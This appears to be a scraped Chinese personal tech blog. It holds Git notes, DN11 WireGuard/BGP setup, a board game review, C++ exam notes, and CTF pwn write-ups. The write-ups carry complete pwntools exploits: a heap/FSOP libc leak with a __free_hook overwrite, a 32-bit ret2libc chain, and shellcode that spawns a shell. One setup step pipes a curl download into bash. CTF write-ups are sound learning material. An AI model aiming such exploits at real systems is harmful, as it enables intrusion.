 8
 9
10
11


git add . #将文件添加进跟踪列表
git add -u #只添加已跟踪文件的修改和删除
git add -A #一次性添加所有修改 = git add . && git add -u
git add <file name> #添加单个文件


git commit --allow-empty #允许未经过改变的提交（为了git log的跟踪）到本地git进行存储
git commit # 会基于parent进行一次节点的commit
git commit -m "some explanations"

git rm <file name> #删除文件，但是本地暂存

Git Branch

“我想基于这个提交以及它所有的 parent 提交进行新的工作。”

Git的分支非常轻量，并且早建分支！多用分支！，分支会简单指向某个提交记录。

即使创建再多的分支也不会造成储存或内存上的开销，

branch和commit结合起来，便可以协同工作。

信息的管理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


git branch #列出分支
git checkout -b <name> #新分支并跳转过去
git branch -r <name> #查看远程分支
git checkout other_branch #切换分支，在主分支下实现不同分支拉取转换，这样才能使commit对应不同分支

git switch -c <新分支名> <想切换 拉取的分支> #在2.23版本引入，会开始逐渐取代checkout
git switch - #撤销操作

git log #查看目前位置我们每次的记录

git diff #查看区别
git status #也是查看区别
git tag #查看所有可以跳转的版本分支等

信息的合并和rebase

我要把这两个 parent 节点本身及它们所有的祖先都包含到一个分支

一般来说新建一个分支，在其上开发某个新功能，开发完成后再合并回主线。

图一

图二

git merge bugFix后,main包含了所有对代码库的修改，之后我们也可以再次移动bugFix分支,将其merge到main上，此时所有的分支都会颜色相同，包含所有的代码修改

gir rebase为第二种办法，会取出一系列提交记录后复制到另外部分，图二便是在bugFix后rebase的结果，注意原本的提交记录会继续保留

1
2
3
4
5
6
7
8
9


git checkout -b bugFix
git commit
git checkout main
git commit #这样就是两个分支了
git chekout bugFix
git rebase main #现在bugFix的功能分支也基于main来并行工作了


git rebase <upstream> <branch>

GIT特性

HEAD

HEAD是对当前分支的符号引用，总是指向分支上最近一次提交记录。通常指向分支名，提交的时候修改分支状态，我们也可以通过HEAD以可见的样子看到状态。简单来说就是指向当前节点的

通常用来表示当前工作区基于哪个版本进行开发，也可以理解为当前开发所在分支的最后一次提交

1

cat .git/HEAD # 查看head

分离的 HEAD

分离的 HEAD 就是让其指向了某个具体的提交记录而不是分支名。在命令执行之前的状态如下所示：

HEAD -> main -> C1

HEAD 指向 main， main 指向 C1。而如果我们check out C1了，则HEAD->C1

注意这里checkout 的地方是commit的标签，用于修改指向commit

记住！head的分离是基于commit的，而切换分支是不会分离的

那么分离头指针操作，适合的场景都有哪些呢？
如果我们想基于某次提交做一些新的尝试，而且不确定这些代码要不要合入正式分支的时候，可以使用这种方式。在这上面的修改不会影响其他分支，也不用创建新的分支

相对引用

git log用来查看提交对应的哈希

哈希值在真实的 Git 世界中也会更长（译者注：基于 SHA-1，共 40 位）git通常根据前几位就可以识别了

相对引用则非常给力，我们从一个易于记忆的地方开始计算

1
2
3
4


^ #向上移动一个提交记录
~<num> #向上移动多个提交记录
main^ #即main的父节点 两个^^则是第二个父节点
main~<num> #多次后退，~不指定数字的时候跟^作用类似

我们也可以用HEAD作为参照物

1
2


git checkout xx
git checkout HEAD^ git checkout HEAD^ ...

这样就可以不停向上了

你会想，会不会^后面也可以跟数字呢？可以的兄弟，可以的

1

HEAD^<num>^<num>

实际上如果我们在HEAD上有多个分支，那么^后面跟的数字就是决定去哪一个分支，而不是步数

强制修改分支位置

1

git branch -f main HEAD^3 #将分支强制指向HEAD的第三级parent提交

撤销变更

git reset 把分支记录回退几个提交记录实现撤销变更，原来指向的提交记录会变的像没有提交一样

reset对远程分支无效

git revert 则是用于远程分支的撤销
- 其会产生一次commit专门用来记录撤销

注意谨慎使用git reset –hard而彻底删除工作区和暂存区的修改，执行前务必确认没有需要保留的未提交内容。这时候就可以

git reflog 备份操作记录
- 误删也可以找到历史哈希值恢复：git reset –hard <哈希>

快捷的整理提交记录

git cherry-pick <commit1> <commit2> 可以方便快捷的把提交复制到HEAD下，形成新的提交分支链，我们可以用其来整理main分支

1
2


git checkout <目标分支>
git cherry-pic <commit hash1><commit hash2>/<branch>

要在心里牢记 cherry-pick 可以将提交树上任何地方的提交记录取过来追加到 HEAD 上

由此可以有操作

1
2
3
4


git checkout <分支>
git commit --amend #进行一定修改
git checkout <分支> #切换回去
git cherry-pick <需要的>

来进行少量提交和整理

交互式rebase

使用带--interactive的rebase命令，简写为-1

git rebase -i <commit>

其会打开一个UI界面列出被复制到目标分支的备选提交记录以及一系列的哈希、提交说明，可以确定顺序、选择的commit等

这个ui编辑器可以选为vim neovim nano等等

tag

给commit设定一个永远指向其的锚点tag

1
2
3
4
5
6
7


git tag #查看所有标签
git tag <tag> <commit hash>
git tag -d <tag> #删除本地标签

git push origin <tag> or --tags #推送标签/推送所有标签到远程
git checkout <tag> #此时头指针会分离，无法commit
git describe <ref> #ref可以是任何能被 Git 识别成提交记录的引用

describe输出<tag>_<numcommits>_g<hash>

tag是离ref 最近的标签
numcommits是表示ref和tag相差多少提交记录

如下

远程仓库

当我们从远程clone的时候，例如在main分支，实际上是origin/<分支>即origin，这是远程分支的规范命名

<remote name>/<branch name>，通常就是oringin

进行设置

根据不同的系统进行安装后，我们使用git config进行设置

1
2
3
4


git config --global user.name "your name" # your name
git config --global user.email "your email" # your email
git config --global core.editor vim # your favourite editor
git config --global color.ui true

进行基础设置

当我们在别的项目中进行初始化，则需要

git init，实现将一个已存在本地的项目变为一个git仓库或是初始化一个空仓库，也是我们经常使用的一个指令（没有初始化的仓库有很多指令是用不了的）

配置公钥ssh key

现在常用ed25519和rsa。目录在~/.ssh

1
2


ssh-keygen -t ed25519 -C "your_email@example.com" #生成ssh key
cat ~/.ssh/id_ed25519.pub #出现的公钥复制到github

然后到github添加ssh key后就可以将远程切换成ssh格式

1
2


git remote set-url origin git@github.com:nan0in/NJUPA_nan0in.git
ssh -T git@github.com #测试

然后就可以愉快的Push了

与远程进行交互、进行提交

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


git remote #查看远程仓库名字
git remote -v #查看当前远程仓库地址
git remote add origin https://github.com/example/repo.git # 添加远程仓库
git remote set-url origin https://new-url.git # 修改远程仓库链接，通常在拉下来其他仓库后后进行修改

git push <远程仓库名称> <分支名称> #提交到远程 一半是
git pull <远程仓库名称> <分支名称> #拉取远程最新仓库 

git fetch #直接从远程仓库更新数据并更新本地的远程分支指针
git fetch oringin #拉取origin所有分支
git fetch origin main #拉取main

注意！fetch不会更新本地的main分支，可以理解为只是对远程的数据进行了下载

可以通过下面方式合并到main，git pull则自动实现了fetch和merge的操作

1
2


git fetch
git merge o/main

pull requests?(PR)

远程服务器拒绝直接推送(push)提交到main, 因为策略配置要求 pull requests 来提交更新.

发生偏离了怎么办？

如果远程的分支和本地原本拉下来的分支出现了偏差，我们需要在push前进行rebase或者merge创建好新的合并分支。或者如上文进行git pull同步

1
2
3


git fetch
git rebase o/main #or git merge o/main
git push

这样便可以将我们的工作移动到最新的提交记录下

也可以直接

1
2


git pull --rebase #直接git pull也可以
git push

通常和远程工作的时候我们就会通过上面的方式同步到远程main下然后推送，这样远程的main始终是集成的开发分支

但是rebase的话不会保留原来的分支树，这时候就可以使用merge开始建立准备push到main的链后还保留原来的树

1
2
3


git merge branch1
git merge branch2
git push

注意事项

提交

注意规范，

commit的时候注意自己“干了什么”
一个提交只做一件事（如 “修复登录按钮样式”“新增用户列表接口”），避免一次提交包含多个不相关的修改。这样后续回滚或查看历史时更精准。
❌ 不好：git commit -m “修改了一堆东西"
✅ 推荐：git commit -m “fix: 修复移动端登录按钮点击无响应问题"
提交信息要规范
用简洁明了的语言描述 “做了什么”，最好遵循约定式提交（Conventional Commits）：
- feat: 新增xxx功能（新功能）
- fix: 修复xxxbug（bug 修复）
- docs: 更新接口文档（文档修改）
- refactor: 重构用户模块代码（代码重构，不影响功能）
  避免模糊描述（如 “改了点东西”“更新”）。
提交前检查修改内容
提交前用 git status 确认要提交的文件，用 git diff 检查具体修改内容，避免误提交敏感信息（如密码、密钥）或无关文件（如日志、临时文件）。

分支

名称尽量有意义：

feature/user-login（新功能：用户登录）
bugfix/payment-error（bug 修复：支付错误）
hotfix/security-vulnerability（紧急修复：安全漏洞）
避免 dev1、test （除非你在本地测试自己的仓库）等模糊名称。

主分支保持稳定：

main/master 分支应始终保持可部署状态，开发新功能时从主分支创建新分支，完成后通过 PR/MR 合并，

.gitingore

一开始以为是正则，结果不是，流汗了

直接写名字就可以

*.名称通配符
 递归匹配，例如src//*.test.txt匹配任意目录下的test
/ 放开头仅忽略根目录下文件
!取消定义的忽略规则

一般会把dotfiles 环境变量 log cache等写入

一些特性

对跟踪的文件无效——即git add 或git commit过的文件，修改ignore也改不了
- git rm --cached <file name> #从commit暂存区移除保留本地文件
优先级是相对当前目录的，当然根目录就是整个仓库生效

参考链接

git-github,roadmap

www.youtube.com/watch?v=2ReR1YJrNOM

learngitbranching.js.org/?demo=&locale=zh_CN

t0fv404

南大PA 0 1小记

Fri, 22 Aug 2025 14:17:00 +0000

详情可见
南大pa.zip
注意是markdown格式的，有多层引用，请务必用markdown相关编辑器打开和浏览

上海磐石行动 2025 初赛pwn - user

Thu, 07 Aug 2025 15:27:00 +0000

解题思路

保护全开，函数有增删改查也是2.31的Libc，patch一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


__int64 edit()
{
 int v1; // [rsp+Ch] [rbp-14h]
 char nptr[8]; // [rsp+10h] [rbp-10h] BYREF
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 puts("index:");
 input(nptr, 8LL);
 v1 = atoi(nptr);
 if ( v1 > 4 )
 {
 puts("index error");
 exit(-1);
 }
 if ( *((_QWORD *)&heap + v1) )
 {
 puts("Enter a new username:");
 read(0, *((void **)&heap + v1), 0x40uLL);
 }
 else
 {
 puts("error");
 }
 return 0LL;
}

edit对bss段中的堆数组写入，可以借此负索引写入到IO结构体(full relro所以考虑写stdout泄漏出libc，然后找一个二次引用为a->b->a的指针，这里动用的是__dso_handle指向了自己，直接改到这一块使得a指向heap写个__free_hook后，然后在2.31下直接用__free_hook指向system即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99


from pwn import *

filename = "./user"
libc = "./libc.so.6"


context(log_level="debug", os="linux", arch="amd64")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x):
 return f"\x1b[95m{x}\x1b[0m"


io = process(filename)
libc = ELF(libc)
elf = ELF(filename)
# io = remote("pss.idss-cn.com", 23160)
# gdb.attach(io, gdbscript="""b *main""")


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)


def uu32(data):
 return u32(data.ljust(4, b"\x00"))


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def ia():
 return io.interactive()


def menu(index):
 sla(b"5. Exit", str(index).encode())


def add(name):
 menu(1)
 sa(b"Enter your username:\n", name)


def delete(idx):
 menu(2)
 sla(b"index:", str(idx).encode())


def edit(idx, data):
 menu(4)
 sla(b"index:", str(idx).encode())
 sa(b"Enter a new username:", data)


add(b"111")
add(b"/bin/sh\x00")

payload = flat(0xFBAD1880, 0, 0, 0, b"\x00")
edit(-8, payload)

io.recvuntil(b"\x80")
partial = io.recv(5)
partial_addr = int.from_bytes(partial, "little") << 8
libc_base = partial_addr + 0x80 - libc.symbols["_IO_2_1_stdin_"]
log.success(VIO_TEXT(f"libc base: {hex(libc_base)}"))

edit(-11, b"\x60")
edit(-11, p64(libc_base + libc.sym["__free_hook"]))
edit(0, p64(libc_base + libc.sym["system"]))

delete(1)
io.interactive()

上海磐石行动 2025 初赛pwn - account

Thu, 07 Aug 2025 14:59:00 +0000

解题思路

保护，看到为32位检查后libc为2.31-0ubuntu9.18_i386

只有一个vul()函数，发现到10之后就会溢出向前输入覆盖到数组的idx，没有PIE
输入v1[11]=13，我们再次控制输入就可以泄漏Puts地址,然后打ret2libc。 32位直接使用栈进行传参，用ROPgadget找一个合适的gadget使一个返回地址覆盖到esp（即call system后返回的下一个返回地址）后esp+4才会传递参数过去。

注意输入的有符号整数scnaf("%d")，要进行转换，libc种明显有超过0x7fffffff的，我们直接补码表示，减去(1«32)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118


from pwn import *

filename = "./account"
libc = "./libc.so.6"


context(log_level="debug", os="linux", arch="i386")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x):
 return f"\x1b[95m{x}\x1b[0m"


# io = gdb.debug(
# "./account",
# """
# b *main
# b *0x80492ea
# """,
# )
io = process(filename)
libc = ELF(libc)
elf = ELF(filename)
# io = remote("pss.idss-cn.com", 23396)


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)


def uu32(data):
 return u32(data.ljust(4, b"\x00"))


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def ia():
 return io.interactive()


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


def get_32():
 return u32(io.recvuntil(b"\x7f")[-4:].ljust(4, b"\x00"))


entry = 0x8049264
pop_ebx_ret = 0x08049022
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

for i in range(10):
 sl(b"1")

sl(b"13") # 写入返回地址

sl(str(puts_plt).encode())
sl(str(pop_ebx_ret).encode())
sl(str(puts_got).encode())
sl(str(entry).encode())

sl(b"0")
ru(b"Recording completed\n")
libc_base = u32(io.recv(4)) - libc.sym["puts"]
puts = libc_base + libc.sym["puts"]
log.success(VIO_TEXT("libc_base = " + hex(libc_base)))
log.success(VIO_TEXT("puts = " + hex(puts)))

for i in range(10):
 sl(b"1")

sl(b"13")


def signed(val):
 if val < 0x80000000:
 return val
 else:
 return val - (1 << 32)


sl(str(signed(libc_base + libc.sym["system"])).encode())
sl(str(pop_ebx_ret).encode())
io.sendline(str(signed(libc_base + next(libc.search(b"/bin/sh\x00")))).encode())
sleep(1)

sl(b"0")

io.interactive()

dn11接入和癔语

Sun, 13 Jul 2025 22:30:00 +0000

按照愿景，每个自治域都会分配到 172.16.x.0/24 这样的一个网段，因此，DN11 目前设计上最多接纳 255 个主要节点接入。而在接入前注意向管理人进行申请才可进行接入，我们的接入是将自己的子网进行并入，因此也要注意设备保护和配置防火墙，以防老毕登

工具

Wireguard（wg-quick-op )用于建立隧道
Bird3用于进行AS的路由（aur库）

arch linux下编译

提供的release无法使用（结构问题），手动编译一下。如果是debian系列linux应该没有问题

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


git clone https://github.com/dn-11/wg-quick-op.git
cd wg-quick-op
cat go.mod
go mod download
go build -o wg-quick-op

# 调整go版本
❯ sudo pacman -S curl git mercurial make binutils bison gcc base-devel --needed
bash < <(curl -sSL https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)
gvm install go1.21.7
gvm use go1.21.7 --default
# 防止兼容性问题

设置peer文件，配置Wireguard

我们需要根据对方所给文件进行peer文件的一个写，格式在BGP组网，用于建立双方的peer隧道，然后我们在/etc/wireguard/下创建peer文件，运行wg-quick-op up your_interface_name，wg会自动帮你创建好虚拟网口并执行PostUp，并根据分配到的地址和配置文件中写好的端口给到ip,最后与peer端握手连接。之后进行ping <对方的内网ip>校验

ifconfig进行网口查看
wg show查看握手情况

配置bird，进行BGP

配置/etc/bird.conf然后birdc c进行连接测试
BGP组网链接同上，注意配置的时候%后面的接口名称和peer文件要一致,之后birdc s p进行查看即可,established 就是配成功接入dn11了;IDLE一般就是配置出问题了，注意排查

你也可以birdc show protocol all 接口查看更为详细的情况

需要注意的是wg-quick-op是基于wg-quick在go开发的，而许多服务器机子上使用的仍然是wg-quick服务，因此在peer失效的时候有时候使用wg-quick down <interface>再重新启动

服务器上搭建

使用的是Debian 12.0 64bit

在策略组添加udp策略打开51820端口，然后在服务器中开放

sudo ncat -lu 51820

连接成功

bird2 3官方文档

后续的癔语

如果你的 AS 里有不少子网，这一切还只是折腾 BGP 的开始，在后面还有 BGP Large Community ，BGP confederation ，RR 等内容。

实际上刚好做南大PA做累了，近来有时间还要加大pwn的练习量为之后做准备。
可以通过traceroute进行一个数据包路由的大调查

像一个短的发往中心的包会直接通过柏喵的路径。而我们还有一种更方便的方法就是通过birdc然后show route查看路由

而这也会告诉我们在一个网段的数据包是通过哪个接口发送，并到达哪个AS网关。而放大来看的话网络也就是

AS——>不同圈子的自治域
ISP ——>网络提供商和管理员然后我们的数据从路由器出发，在到达每个ISP的边界后发往不同的ISP边界进行接受和转移，而根据数据包发送的 target host 最后到达指定AS中

在功亏一篑中仍不屈服——《惨剧轮回》

Wed, 09 Jul 2025 11:47:00 +0000

惨剧轮回

众所周知，优秀的轮回系作品无论是在许多游戏、影视剧、亦或是文学作品中通常都有着不俗的历史地位，譬如命运石之门、魔法少女小圆、ever17、人狼村之谜以及一系列引人入胜、久久无法忘怀（因为读不完）的网文小说。在遥远的那个我还作为高中牲的一个大抵已经遗忘了的偷偷打uno的午休时间，由于运气过差被连加了4张+4牌而眼神清澈发呆之余，一缕思绪撞入了我的脑中：那有没有一款以轮回为主题的、玩法颇有深度的桌游呢？兜兜转转之下，我找到了———《惨剧轮回》

游戏背景和游戏规则

背景

顾名思义，游戏紧紧围绕了“惨剧”和“轮回”两大设定进行展开。

惨剧：即剧作家使用的游戏剧本所围绕的惨剧规则模组以及各式事件
轮回：即游戏主人公所拥有的时间回溯能力。

看到这里想必你也明晰了——没错，我们的游戏分为剧作家以及主人公（1-3人）两大阵营剧作家控制和使用剧本，每一个剧本都有着对应的轮回胜利条件，剧作家如果每一轮回都获得了胜利并且赢下了最终决战，那么剧作家胜利
而主人公若能阻止其中一个轮回剧作家获得胜利并且赢下最终决战，推出所有角色的里身份以及所有的主副规则那么主人公胜利
这时候有人就要问了

青云喵游戏前

主播主播，什么是所有角色的里身份和主副规则啊？

游戏前 Nan0in

别急，我们直接通过一个First Steps的基础set来解释

规则

在最开始的说明书中，设计者非常贴心的通过First Steps模组的两个基础剧本来让我们得以较为轻松的了解整个游戏的基本流程以及一些基本的技巧，那么话不多说我们先来看一下第一个剧本——《初学者剧本》
无论是什么剧本，流程都是固定的：

如上是一个基础的set(模板设置)，我们将医院、神社、都市、学校四个地图按顺序进行拼接，并放上记录板，摆放好 当前天数、事件发生日、以及当前所在的轮回次数 Ex槽用于后续拓展的剧本目前暂时不用管。而在开始之前，剧作家需要仔细阅读剧本以及非公开信息表，并将公开信息表的内容告知给主人公以及发放本轮使用的模组纸

公开信息表以及非公开信息表

First Steps 模组纸好了，角色有了，规则知道了，然后我们要如何进行操作呢？

如流程图所写，每一个轮回中的每一天为一个回合，每一个回合当中，双方需要做出相应的行动。

以上图一是剧作家的行动而图二是主人公的行动。上面所书写的（每轮限一次）则指的是在这一“轮回”中这张行动牌只能够使用一次。而其余用过可以收回等到下一天继续使用。
每一天的行动阶段由剧作家先开始在角色或者场地上倒扣下三张行动牌，再由主人公方面扣下一共三张行动牌。每个阵营只能给一个角色或一个场地放置一张行动牌。
需要注意的是，如果你是一个人那就直接扣三张，如果是三个人有一个队长的概念，每一天结束队长会轮换到当前队长的左手第一位主人公。
队长是主人公团队第一位放置卡牌的，同时可以发动角色的能力，这个后面能力阶段再说。
需要特别注意的是，放置在场地区域的只有密谋牌有效，毕竟场地也不能不安和友好还有移动对吧（？（但是无效不代表不能放放完牌以后，剧作家需要根据牌上面的效果对行动进行结算。
如果一个人同时被放上了两张移动，那么这两张移动牌当成一张使用，具体公式在移动牌上面会有所体现。

行动阶段结束，接下来是能力阶段。
这个阶段会由剧作家开始发动角色的能力。（当然他不会跟你讲发生的过程，只会说发生的结果。
比如他不会说：因为医生是主谋，根据主谋的效果，以场上的护士为对象，在护士身上放置一枚密谋指示物。
他只能说：不知为何，一枚密谋指示物出现在护士的身上。
剧作家的能力阶段结束以后，主人公阵营的队长可以视情况发动角色的能力。
角色需要一定的友好值才能够发动对应的能力。
友好值达到标准且该角色未死亡即可发动。（发动后友好值不会消失！不会消失！当然，剧作家并不会坐视主人公接近事件的真相。如模组纸中所写，有一些隐藏身份拥有拒绝友好的特性。
当有些角色有拒绝友好的特性时，剧作家可以让该角色拒绝发动能力。（必定拒绝友好就是一定拒绝发动
不过拒绝以后就能让主角团更好地盘出该角色的身份了，所以并不是拒绝友好就一定要拒绝他的发动。

事件阶段就比较简单了
当事件当事人没有死亡且其不安值达到或超过限度时，该事件必定发生。
如果事件没有现象，剧作家会宣布：今天发生了事件XX，但是没有任何现象。
如果事件没有发生，剧作家会宣布：今天会发生事件XX，但事件并没有发生。
如果事件发生了，剧作家会宣布：今天发生了事件XX。

如何宣布主人公死亡或失败？
剧作家不会说因为XX所以你们失败了，他只会这么说：当前回合结束，根据判定，你们失败了。或者XX死了，你们失败了。之类。
剧作家的目的就是让主人公每一个轮回都死亡或失败，且不让主人公猜出所有角色的隐藏身份。
而主人公的胜利条件是在最终决战猜出所有主线与支线且盘出所有角色的隐藏身份，或者在某一个轮回阻止自己失败。

关于可玩性

多种模组和角色的增加使得一个剧本在可操作性上会更加强，比如增加剧作家的获胜方式加之多个轮回的叠加就会让主人公陷入两难

通过已推的规则阻止事件发生（但是可能剧作家通过混淆的手法故意让你推理错

OpenHarmonyCTF wp-Nan0in

Sat, 07 Jun 2025 18:33:00 +0000

Hardware

uart-mystery

一台 Harmony 守护主机正在广播神秘信息，公开频道中你能听到一段不断重复的系统广播，但真正的秘密，却藏在信号之下的“细语”之中。
“有些声音并不是为所有耳朵准备的。”
你获得了一段捕捉到的串口通信记录（配合逻辑分析仪或串口数据流）。打开监听工具，分析信号，在那些杂音间，找出唯一属于你的那个节奏。只有调准频率，才能听懂隐藏在电流中的低语。
注：建议使用串口分析工具（如 Logic, Saleae, minicom, pyserial 等）观察和尝试不同通信参数。

给了.sal文件，搜索后发现saleae logic可以用于分析串口数据，记录逻辑信息，所以将.sal拖入，然后导入Analyser，由于有meta.json，配置就有了

找到flag
flag{w3c10me::openharmony::init}

A Mysterious Card

010editor bad misc，脑筋急转弯，打开.nfc文件可以看到相关联的信息，Mifare Classic型号，对下面的十六进制010editor看一下就有

上下两端根据前半段提示的 structure_of_mifare_card进行筛选拼接，去掉block的标识行（rv..）后拼接即可
flag{enma5t3r1ng_s7ruc7ur3_0f_m1far3_card_pXLFOtFJuiKCkbPhNPzV}

reverse

easyre

用abc-decompiler反编译 flag由hint1与magic组成，在obj3中有，动态
两部分分别用了不同的算法
magic使用了base64算法的解密然后进行字符串反转
hint1则使用了自定义加减反转字符串运算

hint1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


def transform_hint(original_hint):

 step1 = ''.join([chr(ord(c) + len(original_hint)) for c in original_hint])

 step2 = step1[::-1]

 step3 = ''.join([chr(ord(step2[i]) - i) for i in range(len(step2))])

 transformed = step3[::-1]

 return transformed

def main():
 original_hint = "tlfr`llakodZVS^RaWQSP"

 transformed_hint = transform_hint(original_hint)
 print(f"decoded hint: {transformed_hint}")

if __name__ == "__main__":
 main()

然后拼接一下即可

Pwn

minishell

跑QEMU我在arch /mnt下专门放了挂载用盘，然后sudo mount ./userdata.img /mnt/disk_nan0in 就搞定了

ida里可以看到调用cat的时候可以输shellcode（或者你跑起来以后指令一个个尝试一下）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86


from pwn import *
filename = './pwn'
# libc = './libc.so.6'
context(log_level="debug", os="linux", arch="amd64")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x):
 return f"\x1b[95m{x}\x1b[0m"


# io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
io = remote("61.147.171.107", 42110)
# gdb.attach(io)


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)


def uu32(data):
 return u32(data.ljust(4, b"\x00"))


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def ia():
 return io.interactive()


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


def get_32():
 return u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))


sl("cat")
payload = asm("""
 mov rsi,rdi
 xor rdi,rdi
 mov rdx,0x100
 xor rax,rax
 syscall
 """)
print(payload)
sl(payload)

log.success(VIO_TEXT("read second shellcode"))

payload = b'\xEB\x00'*0x10+asm("""
 mov rsp,0x100000000
 add rsp,0x800
 """)+asm(shellcraft.sh())
sl(payload)

io.interactive()

C++期末大复习😁

Thu, 05 Jun 2025 15:25:00 +0000

奇闻轶事

T0fv404 2025-06-01 22:30

怎么办C++什么都看不懂了QAQ，我不要看，我不要看口牙！～（大声）

2025-06-01 23:02 Nan0in

铸币吧课一节不上自己也不学，早干嘛了

前言

首先HDU C++面向对象编程。。。怎么说呢老师该讲的确实都讲了，但是我不喜欢课程的节奏就自己去看C++ Primer Plus了，但是这确实是个大任务因为书太厚了
我们期末考是笔试，课程评分分为

期末70 平时30
期末考40分选择，20道题一题2分
10分判断
程序填空10分
程序阅读20分
程序设计题20分

考点其实也不多，有时间看我C++ Primer Plus读书笔记博客

那就开始概括吧，部分参考了学长的资料

概括

绪论

面向对象与面向过程：

类和对象区别
类的基本概念
封装

函数

参数什么时候传入引用&，什么时候不需要（理解引用）
内联函数是什么？如何实现？作用是？
默认参数值的函数以及默认参数值的说明顺序
函数重载，什么函数可以重载，如何实现函数重载

类与对象

抽象封装继承多态四大件
类的定义
继承的三种方式
构造函数，默认构造函数，拷贝构造函数以及拷贝时的赋值（什么时候会调用拷贝构造函数），什么时候编译器会自动为你生成一个默认构造函数
析构函数
字符串类
深拷贝和浅拷贝（你要理解指针的原理和使用）
组合类的特点和构造函数

数组指针

数组名->指针（理解）
常量指针和指针常量
指针数组
this指针
函数指针
回调函数
new delete使用动态

数据共享与保护

生存期与可见性
静态成员函数、数据成员以及他们的特点和使用场景，如何调用静态成员函数
友元类和友元函数
保护，你要理解const常对象，常成员和常引用
常成员函数的声明形式
顶层const和底层cosnt含义和区别

继承与派生

单继承多继承的概念
派生类语法和派生类使用和生成过程
改造基类成员（同名的时候怎么办？）
类型兼容规则
多继承构造函数
派生与基类对象重名(ppt里有例子)
区分虚继承、虚基类和虚函数

多态

运算符重载（只有已存在支持运算符重载）
定义为成员函数的运算符重载和定义为非成员函数的运算符重载
友元
整形+复数运算实现的复现前置++后置++的重载
虚函数，构造函数不设计虚函数而析构函数鼓励设置成虚函数的原因
纯虚函数
抽象基类

重点考点 5.3 5.4 指针指针关键考察：bool char int long int,表2-1 对象指针（类名对象指针名） this指针用法 new和delete不考类型兼容规则实例的代码非常关键，“基类的构造函数不被继承这一页也是重要考点” 派生类的析构函数，同名成员举例部分，虚基类作用7-8 实现shape类（必考点，派生类调用，代码补全）几乎可以重载全部运算符（你觉得这句话为什么要加几乎 “.” “::“等不会重载）重载看实型+复数的例题，单目运算符重载方式虚函数，虚函数必须是非静态的成员函数（典型代码，跟之前虚基类之间选一个进行考）抽象类的特点和理解，构造函数不虚，析构可虚，参数传递考小题

详情

面向过程与面向对象程序设计

面向过程程序设计

自顶而下，分而治之
程序结构

按功能划分模块，形成树状结构
各模块间关系尽可能简单，功能上相对独立

面向对象程序设计

将客观事物看作具有属性和行为的对象
抽象出同一类别对象的共同属性和行为将其封装作为类
通过类的继承、多态实现代码复用

概念：

对象(Object) 系统中用来描述客观事物的实体，对象由一组属性和一组行为构成
- 属性：描述对象静态特征的数据项——数据
- 行为：描述对象动态特征的操作——函数
类（Class）具有相同属性和服务的一组对象的集合，为对象提供抽象描述，包裹属性和行为

类与对象——模具与实际件类是人，对象是独特个体

封装将对象的属性和行为结合成独立的系统单元，意思是学会尽可能隐藏对象内部信息，只保留有限对外接口发生联系与交互

函数

内联函数

inline,编译时在调用处用函数体进行替换，节省参数传递、控制转移等开销

内联函数体内无循环和switch
内联函数声明在第一次被调用之前
对照宏：#define ADD(A,B) A+B

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


#include <iostream>
using namespace std;

const double PI=...
